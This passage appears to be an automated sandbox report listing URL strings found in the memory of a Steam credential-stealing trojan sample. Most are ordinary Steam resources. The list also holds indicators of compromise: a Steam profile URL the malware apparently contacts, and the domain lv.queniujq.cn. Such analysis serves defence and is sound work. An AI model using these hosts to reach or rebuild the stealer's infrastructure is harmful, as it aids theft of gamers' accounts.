Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=puGcKUBV
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WRaH
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=09hfUHwxDUY7&l=e
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=QI-9YLc_mdtk&l=en
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F76000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259$
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259ex
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259r
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://store.steampowered.c
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/legal/
